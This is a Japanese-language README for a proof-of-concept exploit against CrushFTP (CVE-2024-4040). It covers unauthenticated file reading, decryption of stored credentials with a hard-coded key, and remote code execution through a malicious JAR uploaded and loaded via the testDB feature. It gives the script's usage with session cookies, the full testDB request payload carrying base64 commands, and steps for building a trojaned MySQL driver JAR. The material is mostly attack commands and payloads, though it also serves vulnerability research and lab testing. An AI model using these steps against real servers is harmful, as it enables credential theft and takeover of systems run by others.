
CVE-2024-4040(CrushFTP)の概念実証エクスプロイト。認証なしのファイル読み取り、資格情報の復号化、悪意のあるJARアップロードとtestDBの悪用によるリモートコード実行を提供します。
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py と decrypt.java を使用してパスワードを取得し復号します。理由は簡単に言うとキーがハードコードされており、復号可能であり、任意のファイルを読み取ることができるからです。crushadmin が存在しない場合、CrushFTP.log を取得してみてください。アカウント情報が含まれています。
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML ファイルの取得を試みます。crushadmin が使用されます。decrypt.java を使用して復号します。--shell オプションはRCE後の結果を便利に確認するためのものです。以下の方法でjarファイルをアップロードした後、--jar-path と --headers を指定することでコマンド実行結果を確認できます。
--headers には必ずログイン後のCookieを指定する必要があることです。例: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path のデフォルトは /tmp/mysql_cmd_db_user_final_with_echo_base64.jar です。異なる場所にある場合はパスを指定してください。理論上は相対パスでも動作しますが、絶対パスを推奨します。exit と入力します。python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

User Manager を見つけ、左側のユーザーをクリックし、マッピングしたいフォルダを User's Stuff にドラッグ&ドロップします。最後に権限を調整し、upload にチェックを入れてください。


testDB 機能があり、自分でjarファイルとドライバオブジェクトを指定でき、さらにアップロードが可能であるため、これらを組み合わせることでRCEを実現できます。command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id です。db_user にbase64エンコードされたコマンドを渡すことで実行できます。mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *